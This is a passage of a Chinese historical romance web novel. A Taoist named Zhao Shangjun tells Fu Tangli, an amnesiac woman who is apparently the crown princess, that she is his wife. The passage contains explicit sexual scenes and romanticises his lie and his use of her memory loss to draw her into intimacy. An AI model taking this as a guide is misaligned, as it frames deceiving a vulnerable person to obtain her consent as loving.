日暮将至,还有无赖小儿在街头贪玩不知归,发出吵闹的嬉戏声,不多时,有妇人出,高声叫骂,小儿们一轰而散,俄而,隔着墙,邻家犬吠声声,四下炊烟袅袅。 小镇的夜晚,清平和乐。 傅棠梨手托着腮,倚着栏杆,听见外头的动静,微微地歪了歪头,不是,都不是他的声音。 垂花柱下犹有滴水,粉墙叠着青檐,望出去,望不穿,只有四合的黄昏渐渐笼罩下来。 下头服侍的仆妇名唤云娘者,掌了灯,轻手轻脚地过来:“夫人,晚上天凉了,进去吧。” 傅棠梨摇了摇头:“我且在这里等着,好叫玄衍一回来,我就可以看到。” 有婢子捧着黑珍珠貂皮裘衣上前:“夫人前日落水,如 今是万万受不得寒,便是要等主人回来,也得添一件衣裳才是。” 傅棠梨回头看了看,那件裘衣十分宽大,小婢子双手托着它,几乎垂到地上。 她抿嘴笑了笑:“这分明是男人的衣裳,我才不穿它,难看得很。” 那婢子是个巧舌的,殷勤笑道:“这衣裳是夫人成亲前送给主人的,主人一向珍爱,这才随身带着,夫人的衣裳首饰大多留在长安旧家里呢,回头我们慢慢搬过来,这会儿可不得凑合着。” 傅棠梨目光一动,坐正了身姿,挑了挑眉毛:“哦,我们是从长安搬过来的吗?京都大好繁华不要,怎么搬到这乡下地儿来住?” “还不是你自己闹着要过来的。”随着这浑厚的声音,赵上钧走了进来。这会儿天已经暗了下来,他穿着一袭碧城道袍,挟夜色而归,袖间还沾着春来晚间潮湿的水气。 他身量极高,步子大,不过几步就走到近前,从婢子手中接过黑貂裘衣,披到傅棠梨的肩上。 傅棠梨懒洋洋地用脚尖轻轻地踢了踢他:“嗯,我为什么要来这?穷乡僻壤的,有什么好玩,没意思得很,必然是你哄骗我的。” 赵上钧俯身,细致地为傅棠梨拢了拢裘衣的领子,耐心地回她道:“我们家在长安是大族,家中人多事杂,前些日子,当家的大兄和我有些龃龉,在家里住得不甚愉快,是你劝我,什么都别管、别顾,找个边远的小镇或者村落,我们两人做一对寻常百姓,简简单单过日子就好,故而我才寻了这乡下小镇搬了过来。” 他目光宠溺,摸了摸傅棠梨的脸颊:“谁知道呢,才来没多久,偏你淘气,下雨天还要出去玩耍,坐的马车落入河中,你看,如今脑瓜子变傻了,怎么办?” 傅棠梨把眼睛睁得圆圆的:“你还说呢,既然知道我变傻了,更该好好照顾我才是,你今儿去哪了?一早睁眼就不见人,忒没意思,枉叫我等了你一整天。” 她前头的时候还恼着,说着、说着,后面就软了下来,有些儿害羞,又有些儿矜持,她往日并不是这种黏黏糊糊的性子,但如今什么都不记得,只知道眼前这个男人是她唯一可以依赖的人,不自觉地娇气起来,连说话都带着一股甜腻的意味。 赵上钧眼眸的颜色变得更暗,他的喉结剧烈地滚动了一下,但毕竟是在人前,他克制了自己,只是在傅棠梨的额头上轻轻地亲了一下:“回了一趟长安,找了大夫过来替你诊病,来。” 他这么一说,傅棠梨抬起头来,这才注意到垂花门边站着几个人。 一个须发皆白的老道士,一个年迈的青衫老者,后头跟着两个小道童,背着药箱,奴仆在旁挑着灯,一起等候着。 傅棠梨脸红了,摸了摸自己的额头,娇嗔地瞥了赵上钧一眼,马上站起身来:“既有大夫来,怎不早说,累老人家久等,岂非失礼。” 赵上钧笑而不语,扶着傅棠梨进了屋。奴仆引老道士和青衫老者一并入内。 老道士乃是玄衍的师父,法号青虚子,出身天下第一道观元真宫。老者姓何,曾侍奉于内廷。按玄衍对傅棠梨的说法,这两人都是长安城中一等一的杏林妙手。 青虚子看过去与傅棠梨仿佛是旧识,绕着她转了两圈,上下打量,唏嘘不已:“好端端的,怎么把头给磕坏了?玄衍无能,在他手里,你都能出事,实在不该。” 接着又抱怨:“按说这也不是急症,偏偏玄衍火急火燎,一路快马加鞭,颠得我这把老骨头都快散架了,真是不孝徒弟。” 赵上钧面色淡淡的,对老道士的话孰若无闻。 相比青虚子的轻松自若,何大夫看过去就显得十分拘谨:“老夫早些年曾看过一些病例,内中不乏有因高烧、因惊吓、因受创而至神魂紊乱者,与太……” 赵上钧的目光严厉地扫了过去。 何大夫一哆嗦,马上改口:“与夫人的情形或有相似者,老夫斗胆,可为夫人一视。” 赵上钧颔首。 青虚子与何大夫上前,前后为傅棠梨诊了脉,观其面色、神态、言语姿势,又仔细看了她头部受创的位置,问了她这两日诸般情形。 傅棠梨捡着自己能知道的事儿,逐一说了。 赵上钧坐在傅棠梨的身边,一直握着她的手。 稍后,大夫问诊毕,退到外间,赵上钧不放心,一道跟了出去。 玄安和玄度伺候笔墨。 何大夫为太医署丞,品阶仅在许掌令之下。许掌令醉心于权术,医术早已荒废,唯有何大夫常年沉浸岐黄之道,是为太医署中流砥柱,但凡内廷贵人有疑难杂症,皆须请他出马,老头子见惯了各类秘辛,此际很沉得住气,面不改色,和青虚子凑着头,一起商议着开了一张药方。 赵上钧拿起那方子,看了一遍,眉头微皱:“这药方,真的有效?” 何大夫垂首,默不作声。 青虚子捋着胡须,说得十分坦然:“失魂之症,玄之又玄,古往今来医者无数,谁也不敢妄言能治,这张方子呢,一则化血,这是担心她脑部有瘀血未清,二则安神,这是叫她心绪安定,如今只能先从这两样入手,是否有效,难说,且吃几贴试试看。” 赵上钧不语,把方子翻来覆去看了几遍,终于还是拿给玄安和玄度,命他们出去配药。 奴仆引何大夫下去了。 只有青虚子坐在那里不动,待旁人都退出后,好整以暇地瞥了赵上钧一眼:“你打的什么主意,老实说,你是要我用心治,还是做个表面工夫?” 赵上钧面无表情:“师父此话怎讲?” 眼前这个好歹是自己名分上的徒弟,老道士还是很为他着想的,说得十分直白:“她失忆就失忆了,这不是老天看你可怜,帮了你一把吗?你怎么想的,还巴巴地叫人来给她治病,若真治好了,怎么办?她可是太子妃,回头想起来了,必然是要回到太子身边去,你呢,平白为人做了嫁衣裳,一场空。” 赵上钧沉默良久,才慢慢地道:“我可欺天下人,唯独不能欺她,我一心望她能快快好起来,日后该如何,便如何,一切凭她心意,师父勿以小人之心度君子之腹。” 青虚子怀疑地问道:“你是君子?” “自然是。”赵上钧心平气和地回道。 青虚子的嘴角抽了一下,对于赵上钧的这个回答显然不能苟同,但他没有胆量当面反驳,只得摇了摇头,袖着手,走了。 赵上钧久久地坐在那里,烛火的影子摇曳不定,落在他的眼眸里,显得斑驳而幽深。 —————————— 傅棠梨服了药,有些乏了,或者是头部受伤的缘故,这两日她精神不太济,早早就上了床。 接连下了几天雨,今日可算差不多停住了,檐角偶尔落下一两点,发出“滴答”的声响,春至未至,天还冷着,屋子的角落里摆着火盆,点了银丝白霜炭,偶尔“噼啪”一两声,显得格外安静。 隔着云母屏风,案上留了一盏灯,琉璃罩子笼在微弱的烛火上,光影参差,半暗不明。 傅棠梨翻了个身,打了个呵欠。 床幔被挑起,有人掀开被子,躺在了她的身边,床榻微微下陷,熟悉的白梅花的味道包围过来,带着一点微苦,令人想起冬日白雪覆盖的山林,但他身体的温度那么高,让傅棠梨又觉得这屋子里的炭火烧得太旺,热得受不了。 老实说,她有些不知所措,这还是她第一次在清醒的状态下和玄衍睡在一起,嗯……奇奇怪怪、别别扭扭,总之,很不习惯,她脸上有些发烫,背对着身后的男人,身体僵硬,一动不动,甚至连大气都不敢喘。 他从背后拥抱住她,把脸埋进她的颈项间,用鼻尖轻轻地蹭着她。 “怪痒的,别弄我。”她缩起了脑袋,不自在地抱怨。 她的耳朵跟着抖了一下,在朦胧的的烛光中,精致的一小团,就如同温润的白玉。 赵上钧忍不住,凑过去咬了一口,还用牙齿磨了两下。 傅棠梨想要惊呼,又担心夜深人静,惊动旁人,只能忍住了,发出一点抽气的声音,转过来,小声嘀咕道:“都说了别弄,还弄?” 夜色宁静,她躺在他身边,眼波宛转,如同刚落下的那场春雨,潮湿而温柔,她的头发很长,此时散落在他的臂弯中,缠绕住他的手指,暗香浮动。 如愿以偿。 他按着她的后脑勺,把她捂在自己的心口处,那么柔软的一窝东西,贴在那里,好似全身的毛孔都熨得服服帖帖的,舒坦得很,他心满意足,唤了一声:“……小梨花。” 你是我的了。 “嗯。”傅棠梨含含糊糊地应了一声,趴在赵上钧的怀里,安静了一会儿,手指头伸出来,在他的胸口划了两个圈圈,又戳了戳,轻声问道,“你怎么出去这么久,是不是大夫说我这病症不好治?” 像是小蚂蚁爬过去,咬了一口,酥酥的。 赵上钧揉了揉 她的头顶,温和地道:“没有的事,大夫只说棘手,却并非无药可治,好生调理一段时日,总会慢慢恢复的,你莫急。” 傅棠梨抬起眼睛,看着赵上钧,她小声说话的时候,声音就变得黏黏糊糊的,软得快要融化开:“但是,我很担心呢,如果往后一直都想不起来,那又该怎么办才好?你看,我连你都忘了,原来的人、原来的事,什么都忘了,好似我凭空生在这世间,四周空荡荡的,没个着落。” “怎么没着落呢,你不是有我吗?”赵上钧抵住她的额头,“喏,我就在这里,会一直陪着你,你的从前,我会替你记住,若你实在记不起来,日后我逐一说给你听就是,有什么要紧的?” “真的吗?”她其实是在撒娇,咕哝着,顺口问了一句,“你不会骗我吧?” 赵上钧突然翻了个身,把傅棠梨压在下面,他的嘴唇贴着她的鼻尖,低低地笑着:“你忘记了,从前总是你骗我,现如今,就让我骗你一下又何妨?” 他的身体愈发热了,呼出的气息闯入她的鼻端,呼吸间满满的都是他的味道,似苦还香。 傅棠梨的心跳得厉害,“扑哧扑哧”的,快要从喉咙口蹦达出来了,她在局促中来不及计较他说什么,迅速地把脸扭开了:“你下去,怪沉的,压得我难受。” 赵上钧的嘴唇在傅棠梨的脸颊上摩挲着,干燥而炙热,如同春日的午后,野兽伏在山林中,腹部蹭过茂盛的草木,散发出雄性强悍的气息,他又试图咬她。 “不、不……”傅棠梨慌慌张张地抬手,捂住他的嘴唇,把他往外推,声音都有点儿发颤,“不行。” 赵上钧的眼眸已经染上了赤红的颜色,他的呼吸紊乱而急促,勉强抬高身体,发出一点声音:“嗯?” 那是一个沉重的鼻音,带着一点试探的、诱惑的意味。 傅棠梨的脸红得要滴血,她觉得自己浑身都在冒热气,“咕噜咕噜”的快要烧开了,她飞快地用手环抱住自己的胸口,那是一个本能的、防御性的姿态,她的声音几乎微不可及:“我不想……” 两个人之间有一瞬间的凝滞。 傅棠梨目光躲闪,咬了咬嘴唇。 赵上钧长长地呼出一口气,他慢慢地伸过手,把沾在她额头上的几根碎发捋开,轻轻地吻了吻她的额头:“梨花,我是你的夫君。” “可是,我已经不记得了。”傅棠梨喃喃地道,“我什么都不记得,我睁眼看见你才不过两三天,我、我不知道、说不上来,其实我挺害怕……” “我想说,我是你的夫君,梨花。”赵上钧把手指竖在傅棠梨的唇上,温和地打断了她的话,“你可以信任我、依赖我,我会完全依照你的心意行事,你不必有所顾虑,你说如何,便如何。” 傅棠梨的脑子里好像有几百只小麻雀在“叽里呱啦”地吵着,吵得她心乱如麻,她太过紧张了,鼻尖上冒出了一点汗珠,下意识地重复了他的话:“我说如何……” “便如何。”赵上钧笑了起来,他叹了一声,带着安抚的、纵容的意味,“我们是要厮守一辈子的,我有很多的时间可以等你,可以等你想起我、或者重新喜欢上我,这没什么好着急的。” 他干净利落地翻身起来,把被子给傅棠梨捂好,还把两边的被角压了压、拍了拍:“好了,我不闹你,你先睡吧,我……”,他顿了一下,尽量自然地对她道,“我去喝点水。” 傅棠梨的目光跟随着他,眨了眨眼睛,长长的睫毛抖了抖。 像是小刷子蹭过去,蹭得赵上钧心尖发痒,他不能再看下去了,再看就忍不住了。起身转到屏风后面。 长夜将至,外面传来二更天的梆子,寂寥而遥远,盆子里的炭火燃烧着,驱散早春的寒意,甚至有些燥热。 夜色太过宁静,冬眠的小虫子已经从泥土中翻出,懒洋洋的,偶尔在窗下发出一两声窸窣的动静。 傅棠梨躲在被窝里,隔着屏风,偷偷地看他。 他并没有喝水,只是坐在那里而已,好像摸索着在做什么,很细微的动作。 花梨木的座屏支架上镶嵌着薄薄的云母,烛光映在上面,半透不透的,如同银瓶里荡漾的水,光影明灭,波色粼粼,看过去,显得人也有些虚幻。 如在云端,如在梦里。 傅棠梨觉得嘴唇有些干燥,紧张地舔了舔:“……玄衍,你生气了吗?” “没有。”赵上钧的呼吸很沉、很急,他说话的声音有点沙哑,好像在压抑着什么。 她不太明白,但隐约觉得有些不对劲,她的心跳得很快,在被窝里,把全身都包裹住了,只露出一双眼睛,盯着他的身影,低低声地追问:“那你在做什么?” “……别说话。”他似乎有些喘不上来,从牙缝中挤出几个字。 第57章 第57章春水煎茶,汗湿重鬓…… 多雨的春天,难得有月光落下,就那么一点点,沿着窗牖的缝隙蔓延进来,和烛光流淌在一处,让他刚硬的身影看过去都变得柔和起来。 他的喘息越来越粗重,突然像是难以忍耐一般,用力仰起了头。 屏风挡在那儿,从傅棠梨的角度望过去,恰恰是他的侧面。 他的轮廓生得极好,深邃而英挺,甚至因为过于完美而显得疏离于尘世之外,当他仰起头的时候,颈部的线条格外明显,喉结凸出,剧烈地滚动了一下,那是一种近乎粗野的感觉,又将他从尘世外拉回了凡间。 心跳如擂鼓,一下又一下撞击着胸口,让傅棠梨呼吸都变得艰难,被窝里太热了,捂出了一身汗,手心湿漉漉的,捏得紧紧的,她觉得不能看、不该看,却忍不住盯着看。 时间就像一条线,被拉得长长的,过了很久、很久。 隔着屏风,这个距离,说不清是远还是近,若即若离,不可揣摩。 “梨花……”他的声音沉沉的,粗糙如同砂砾,烈日下,被暴晒的沙漠,灼伤人的肌肤,呼出的气息都是滚烫的,“叫我、叫我的名字。” 她窝成一团,捏着被角,搓来搓去,哼哼唧唧:“……喏,你叫我别说话的。” “小梨花。”他绷得紧紧的,就像一张弓,拉了满弦,连说话的语调都带着咬牙切齿的意味,“乖,叫我的名字……” 窗下的小虫子不知被什么惊动,啁啁啾啾的,叫得急躁而杂乱。烛光摇曳,云母的纹理重重复叠叠,一层层流转,他好像望了过来,夜色流淌,他的眼眸比夜色更深。 “玄衍……”傅棠梨好似懂得、又好似不懂,她的眼角泛起了薄薄的红晕,慌张地裹着被子,滚 到床榻的角落里去,缩在那里,小小声的,软软地叫他,想让他听见,又怕他听见,“玄衍、玄衍。” 宛如燕子躲在檐下,有一点害羞地呢喃着。 无需触碰,只要听她念及他的名字,就足以让人攀上云端。 汹涌的潮水席卷而来,瞬间将赵上钧淹没,拉满的弓倏然松开那根弦,箭矢喷薄而出,弓弦犹在颤动,他缓缓阖眼,发出长长的叹息。 炭火烧得正旺,微妙的味道在空气中弥漫,馥郁的、滚热的、带着一点腥膻,在这静谧的夜晚,宛如石楠花开在月光下,不可言说。 —————————— 咸阳毕竟不是江南,春雨下得差不多,也就停了,天放了晴,春光媚好,映着庭中草木葳蕤,庭院不大,中有樱桃树,这会儿才刚长出一点青色的小果子,就惹得鸟雀飞来,扑棱着小翅膀,东啄啄、西啄啄。 小婢子着急出来,踮起脚尖赶鸟:“哎呦,夫人每日眼巴巴地看着这个呢,去、去,统共就这么点子,可不能叫你们糟蹋了。” 傅棠梨在窗子里面瞧见了,不免要探出脑袋去,为自己分辨两句:“哪跟哪呢,我怎么就这般小气,要去和小鸟儿争食,真真冤枉我。” 小婢子吐了吐舌头,笑嘻嘻地跑开了。 天气乍暖还寒的,赵上钧在家中不做拘束,今日仅穿了一件单衫,肩上随意披了一件黑珍珠貂皮裘衣,显得既慵懒又高贵。 前几日盛的雨水如今正好取出,他在窗台下支起红泥小风炉,正用六瓣瓜纹银鍑烧水煮茶,此时听见傅棠梨说这个,微微地笑了起来,把案上的白玉碟子往前推了推。 “樱桃没熟,吃不得,别成天盯着那个看,喏,这是你从前爱吃的藤萝饼,叫人今儿大早到长安的知味轩买的,天刚亮就出了城,快马加鞭送过来,还热乎着,你先尝尝。” 金黄的酥饼上沾着紫色的碎花瓣,摆在羊脂白玉碟子里,看过去一块块精致又细巧。 傅棠梨捡起一块,放入口中,细嚼了一会儿,矜持地点头:“不错,果然是我爱的口味。” 赵上钧打开一个雨过天青色的小瓷罐子,取出一枚茶饼,用湘妃竹夹捏了,放在火上烘着,他轻轻叹气:“当日你说要吃这个,巴巴地给你买了回来,你却和我怄气,丢在地上,又说不喜它,你啊,惯爱捉弄人。” 那饼子小小的,外皮松软酥脆,里面的紫藤花馅掺了蜜糖,入口是恰到好处的香甜。傅棠梨很快吃了一块,捡起第二块,轻巧地道:“哦,是吗?那大抵是你惹我生气了,不然好端端的,我怎么能浪费吃食,总之还是你不好。” 银鍑中的水烧开了,发出一点“咕噜咕噜”的动静,袅袅的水气升起似云雾。 赵上钧微笑着,眉眼如远山,遮掩在云雾后,褪去了素日的肃杀与威严,他慢条斯理地碾碎了茶饼,倒入银鍑:“是,都是我不好,故而你这几日一直恼着我,今儿我请你喝茶,权且当作赔罪了。” 他这话一出口,傅棠梨骤然觉得藤萝饼的味道变得古怪起来。 谁能想到呢,赵上钧看过去端方自持的一个人,到了晚上却那么浮躁,和傅棠梨同床之际,屡屡总要起身“喝水”,扰得两个人都不得安生,没奈何,这几日只得在屋中另外支了一张软榻,他和傅棠梨分榻而眠。即便是这样了,夜里也还是会弄出诸般不可言说的动静,叫傅棠梨面红耳赤,及至早起时,都不敢抬头直视他。 这会儿冷不防听他提及,傅棠梨的小心肝又不争气地狂跳起来,她低着头,含着藤萝饼,黏黏糊糊地道:“我才没那么小气呢,别说这个了。” 赵上钧伸手过来,把她口中咬的那半块饼子拿走了。 “你还在服药,师父嘱咐过,少吃甜食,免得和药性相冲,藤萝饼也就给你解解馋,不要贪食。”赵上钧神态自若,顺便咬了一口手里的饼。 那上面还沾着她的口水呢,这个男人,也太不讲究了。傅棠梨睁大了眼睛,欲言又止。 “甜腻腻的,无甚好味,你怎么喜欢这个?”他这么说着,却很快把那半块饼吃掉了。 来不及抢回来。傅棠梨遗憾地叹了一口气:“这也不得、那也不得,你不似我的夫君,倒似我的……” 后面的话有点不合宜,她收了口,手支在案上,托着腮,瞥了他一眼,眼波宛转,似江南三月的烟雨,沾衣欲湿。 闲来无是非,以春水煮茶,席地对坐喁语,所谓寻常百姓日子,不过如此了。 不多时,茶水沸,鍑中如滚玉珠。赵上钧沏茶于莲花翡翠盏,端给傅棠梨:“此茶乃故人所赠,我素来珍藏,平日不太舍得喝它,如今邀你共饮,夫人请。” 茶水中浮着几点零星的碎叶,暗香浮动,和赵上钧身上的味道仿佛相似,白梅花的气息,被春水煮开了,变得滚烫起来。 傅棠梨小啜了一口,在舌尖转了一圈,品了品,抿嘴笑道:“用梅花熏的敬亭绿雪,可惜制茶之人手艺不佳,窨制太过,起花时也偷懒,留了花瓣渣子,梅花香浓了,有喧宾夺主之势,算不得好茶,偏你当成宝贝。” 赵上钧盘腿坐在案前,斜倚着窗,安静地喝着茶,并不接话,面上的表情似笑非笑。 傅棠梨的心头跳了一下,话说到后头,声音就小了下来,她摸了摸鼻子,咳了两声:“……这,所谓故人,莫非是我?” 赵上钧举杯敬茶,慢悠悠地道:“成亲前,我曾救你一命,你登门道谢,以此为礼,言说乃你亲手所制,怎么算不得宝贝?” 傅棠梨哑然失笑:“你救我性命,我就送你这点子茶叶?我不信。” 她挑了挑眉,指着赵上钧身上的那件黑珍珠貂皮裘衣:“我听婢子云,此衣裳亦我婚前所赠,可见我送你的东西不少,断不是小气之人。” 赵上钧放下茶盏,向傅棠梨伸出了手,窗外的阳光照进来,落入他的眼眸,笑意温柔。 傅棠梨试探着把手指放到他的掌心中去。 赵上钧一把拢住了,将她拉了过来。 傅棠梨猝不及防,跌入他的怀中。他只穿了薄薄的一件单衫,他的胸膛宽阔而结实,傅棠梨一头栽上去,撞得鼻子生疼。 她的脸红了起来,虽说眼前这个是她夫君,但她如今什么都忘了,每每和他肌肤相近,总是情不自禁地生出羞涩之意,她小小声地娇嗔:“大白天的,作甚呢,拉拉扯扯,很不成体统。” 那件裘衣滑落下来,一半搭在傅棠梨的身上,赵上钧索性用裘衣将傅棠梨裹了起来,他的身量极高大,显得她娇娇小小的一团,窝在他的膝头,仰起脸,用水汪汪的眼睛看着他。 她的颜色似桃花,融在春光里。 他低下头,在她的嘴唇上啄了一下。 她捂着嘴,羞答答地瞪他。 赵上钧低低地笑:“你还曾酿了一坛春酒赠我,饮之淡如白水……” 傅棠梨的眼眸里映着二月里盈盈的春光,就那样看着他:“嗯,所以呢?” “……小气不至于,但是手艺不佳是必然的。”赵上钧慢慢地把下面的话说完。 “呔,休得胡说。”傅棠梨翘起鼻子,双手抵住赵上钧的肩膀,为了表示她说话的气势,用力往前一扑。 赵上钧嘴角微翘,带着纵容的笑意,就那么由着她,让她按倒在地上。 傅棠梨跨坐在赵上钧的腿上,又向上蹭了两步,戳了戳他的胸口:“人有失手,马有失蹄,偶尔那么一两下,总会出点小差池,偏你小心眼儿,尽逮着坏的说,我既会制茶,也会酿酒,难道当不得一句‘心灵手巧’?你再说,我要恼了。” 赵上钧仰面望着她,他的眼眸倏然变得幽深,好似有一种危险的火焰在蹿动着:“你别动……” “嗯?”傅棠梨忽然感觉有些不对,她迟疑了一下,想从赵上钧身上爬下来,稍微挪了一下身子。 他发出了一声闷哼。 傅棠梨终于知道哪里不对了,她坐的位置不对,硌得难受,她顿时满面绯红,“啐”了一口,慌慌张张地就想后退。 “别走!”他勾住了她的手指,指尖滚烫。 春光盛大,覆盖一室,兽炉生烟,日暖香浓。他白日里通常广袖长袍,高髻束冠,一身道骨仙风,而今不知为何松散,他的衣领敞开着,长发披下来,泛着漆黑的光泽,凌乱地铺陈在湘妃簟上,好似谪仙坠落凡尘。 或许对他来说,这也是难以启齿的,他的声音很低,近乎呢喃:“……你别走,摸摸我。” 傅棠梨进也不得、退也不得,坐在那处,如坐火炕,热得浑身难受,她用力咬了咬嘴唇:“你不是道士吗,怎么就不能静心修持,却这般重欲,福生无良天尊,很不像话……话又说回来,我怎么会嫁给一个道士呢,好生奇怪。” 赵上钧仿佛难以忍耐,他修长的双腿蜷了起来,有意无意地把傅棠梨圈在当中:“我原本避居深山,不近凡俗,偏你寻上门来,扰我清修,破我戒律,你说,该当何罪?” “欲加之罪,何患无辞。”她咬着嘴唇,带着一点狡黠的笑意,声音细细的,“你自个儿心志不定,怪我作甚?” “嗯,是我的错,怎么敢怪你。”赵上钧粗粗地喘着气,他的手掌很大,把她的手指头握在掌心,揉捏着,仿佛是一种无意识的挑逗或者请求,“所以,梨花,摸我一下,好吗?” 傅棠梨居高临下望着他,这是一种微妙的角度,他躺在那里,仰着脸,望着她,这大抵是一种臣服的姿势,他高大而英俊,而他的目光炙热又温存。 无从抵挡。 屋子里过于燥热,她感觉手心里出了一层薄薄的汗,好似淋了春雨,湿漉漉的,和他黏在一起。鬼使神差一般,她俯下身去,用手抵住他的胸膛,他的心跳急促而有力,一下又一下地躁动着,如同激烈的战鼓。 案几后面,两个人滚在墙角处,好似这样就可以把这些举动遮掩住,但那是在窗边,而春日的阳光照耀进来,是那么地热烈。 “大白天的,有人看见怎么办?”她如同做贼一般,压着嗓子,悄悄地问。 “不会、不会有人看见,只有我……梨花,只有我。”他用沙哑的声音这样保证道。 傅棠梨像是在胭脂粉里打了个滚儿,鼻子尖尖和耳朵梢梢都是红的:“可是,你会看见。” “我闭上眼睛,不看你,好不好?”赵上钧这么说着,却依旧望着她,目不转睛。 “你不老实……”傅棠梨缓缓俯下身,吻他的眼睛。 赵上钧的胸膛剧烈地起伏着,他闭上了眼睛,一动不动,唯恐一个不小心,就要把她吓跑了。 小婢子躲在廊下偷懒,鸟雀没了顾忌,在窗外蹦达得欢,叽叽喳喳叫个不停,吵得要命。没熟的樱桃被鸟雀啄破了,汁水流淌出来,空气里的味道,酸酸甜甜。 “喏,不许睁开眼睛,不许看,不然我就不理你了。”她的气息吐在他的耳畔,就像掺了乳酪的蜜糖,软绵绵、黏糊糊。 春天的白日里,这是一场柔软而旖旎的梦。 因为看不见,拥抱以及触摸的感觉变得更加明显,几乎毫无遮挡。窸窸窣窣的声音,就像春天的小虫子爬过来,犹犹豫豫地搓了搓手脚,探头探脑,隔靴搔痒,挠不到正点。 赵上钧抬起脸,发出一声长长的、如同叹息一般的声音,他的领口敞开着,胸膛结实而宽阔,小麦色的肌肤暴露在阳光下,汗水湿透了旧伤痕,野性的气息扑面而来。 “在庭州的时候,你抱着我,亲了又亲,还咬我,那时候……多好,如今怎的,愈发没出息了。”他显然是不满的。 “没有,那肯定不是我!”傅棠梨哼哼唧唧的,坚决予以否认。 是了,她喝醉了时候才会那样肆无忌惮,待到酒醒了,就翻脸不认,一贯如此,无情得很。 “梨花……”他笑了,低声叫她。 “嗯?”微不可及的回应。 “摸我,梨花。”他的声音却是低微的,如同耳语。 傅棠梨发出一点柔软的鼻音:“摸哪里呢?” “你懂……”他急切地试图抬起身体,去贴合她。 “烦你,怎么就不能自己去喝水,非得这样……”她嘀咕着,手指沿着他贲张的肌理一点一点地摸索,小心翼翼,如同羽毛拂过,蹭得他胸膛发痒。 “咦?”傅棠梨的手指停顿住了。 赵上钧的胸口处有一道伤痕,像是被锐利的铁器所深深贯穿过去,几乎就在心肺之处,色泽暗红,大约不久前方才愈合,外翻的血肉尚未完全恢复,看过去显得格外狰狞。 “你什么时候受的伤?还疼吗?”她的眉头蹙了起来,心尖儿情不自禁地颤了一下。 “不疼。”他低低地对她耳语,“别担心,一点儿都不碍事。” 碍事?他说的,碍的什么……事?傅棠梨的脑子有些转不过来,只觉心跳如擂鼓。 小炉上的水还在烧着,发出细微的“咕噜”声,这个角落太热了,细密的汗珠从赵上钧的身上渗出,雄性的味道充斥在方寸之间,覆盖了白梅花的香气。 他握住了她的手指,语气又轻又柔,像是在哄着她:“梨花,放松点,这没什么,我们刚刚成亲不久,你又得了失魂症,记不起从前,对我自然会生疏一些,不着急,我们慢慢来,一步一步……对,这里……” 这里是哪里呢? 傅棠梨的手被牵引着,伸到薄薄的单衫下面,他的小腹平坦,腰身劲窄,肌肉壁垒分明,年轻而健硕的男人,他的身体散发着蓬勃的热气,熏得她脸颊发烫。她觉得脑瓜子嗡嗡,心脏砰砰,浑身的血液都剧烈地涌动着,发出“汩汩”的声响。 赵上钧的背脊倏然绷直。 “这、这、这……”傅棠梨骤然惊悚,好了,这下子连耳朵尖尖都红透了。 “梨花。”赵上钧依旧闭着眼睛,他的睫毛很长、很密,微微颤动,他急促地喘着,仰起了脸,春日的阳光是如此明艳,从窗口落下一线,落在他的眉目间,俊美近乎无瑕,而他在低低声地叫她,“梨花,我是……你的。” 这大抵是一种诱惑,春光里的诱惑,和他一起躲在这里,偷偷的。 傅棠梨咬住嘴唇,用手抵住他的胸膛,缓缓俯身。 春日的阳光,白昼的烟花,灼热得令人眩晕。树上的鸟雀又在鸣叫,叽叽喳喳,一声声不休,只是小婢子此时偷懒去了,无人理会得。 噓,在这明晃晃的白日,躲在这里,偷偷的,不叫人瞧见。 她有些够不着力气,发出了一点点类似抽气声、类似啜泣,又或者是撒娇,就像樱桃树上的鸟雀此刻又叫了起来,宛转啼鸣,嘤嘤啾啾,断断续续,接不了上一声。 他扶住了她的腰肢,他平素是那么强悍骁勇的人,但此时、此间,就在这春日的光阴里,他的声音却那么轻,好似叹息一般:“梨花,我是你的……” 傅棠梨微微低了头,身子忍不住颤抖,汗珠滴下来,落在他胸口的伤痕上,黏黏腻腻地滚过去。 春日光阴媚好,白昼绵长。 这是一个光怪陆离的梦境,在明亮的白昼里,所有的东西都纠缠成一团,分不清楚,叫人生恼,又无从挣脱。她眼角发红,好似要哭起来,高高地仰起脸,她的脖颈雪白而细腻,如同白鹄,拉出美妙的而脆弱的一条线,快要绷断掉。 小炉里的水烧得太沸了,几乎扑腾出来,热度熏人,不断地上下捣鼓、涌动,“呼哧呼哧”的,浓郁的水气漫延开,黏在人的肌肤上,如同被春雨打了,湿漉漉的一片。 她终于恼了他,趁着抬起的间隙,抽身后退,踉跄着跌坐在地上。 “叭嗒”的一声,小炉打翻,滚落地面,茶水泼洒开。 赵上钧霍然睁眼,眼眸一片殷红,几乎呻吟:“梨花!” 傅棠梨怂了,顾不得形态狼狈,顺手拾起衣裳,如同一只受伤的、受惊的兔子,手脚并用,连滚带爬地起身,窜出了门外,跑得飞快。 临阵脱逃,简直罪大恶极。 赵上钧恨恨地咬住了牙,他好似被抛上高空,不过片刻之间,又跌落下来,这种极致的差异一时之间真叫人眩晕。 他艰难地喘着气,翻身坐起,春寒犹盛,屋中煮茶的炉火太旺,茶水犹在炉上沸腾,热气熏人。他满身大汗,咬牙切齿地叫了一声:“梨花!” “嗯?”她居然还在,披了衣裳,躲在门边,听见叫她,偷偷地探进半张脸,脸颊嫣红,眸中含泪,气鼓鼓的,还要埋怨他,“不成了,你块头忒大,叫人怎么吃得消,早知道、早知道谁愿意搭理你呢,真真讨人嫌。” 赵上钧冷笑了两声,突然站了起来,大步朝门口走去。 傅棠梨二话不说,拔腿就逃,这会儿又顾不得下面酸疼了,一口气跑到院子的樱桃树后,藏了起来,重又探出头去。 赵上钧并没有追上来,他就那样披散着长发、精赤着身体,随意倚在门边,好整以暇地看着她,春日的白昼,阳光如赤金,纯粹而耀眼,直直地映在他的眼眸中。 他往日神姿高彻,有 林中仙人之风,此时褪去了广袖长袍,露出一身壁垒分明的肌肉,身量高大,躯干英武,尤其剑拔弩张,气势未消,更显狰狞,胸口处贯穿了一道鲜明的伤痕,强悍而粗野,像是变了一个人似的,然而,他望着她微笑,眼中的笑意却是那么柔软。 傅棠梨翘起嘴角,她自己也觉得大约是有些不地道的,但想起他那伟岸之态,又觉得小肚子隐隐作疼,实在吃不消了,只得用袖子掩住了嘴,扭扭捏捏地示好求和。 “喏,今儿就到此为止,你不许再闹我了,好端端地喝茶呢,偏你不安生,也不能全怪我,这么着,改明儿我请你喝酒,以作赔罪,成不成?” “成。”他没奈何地“哼”了一声,懒洋洋地道,“总之,你说如何,便如何,还能怎的?” —————————— 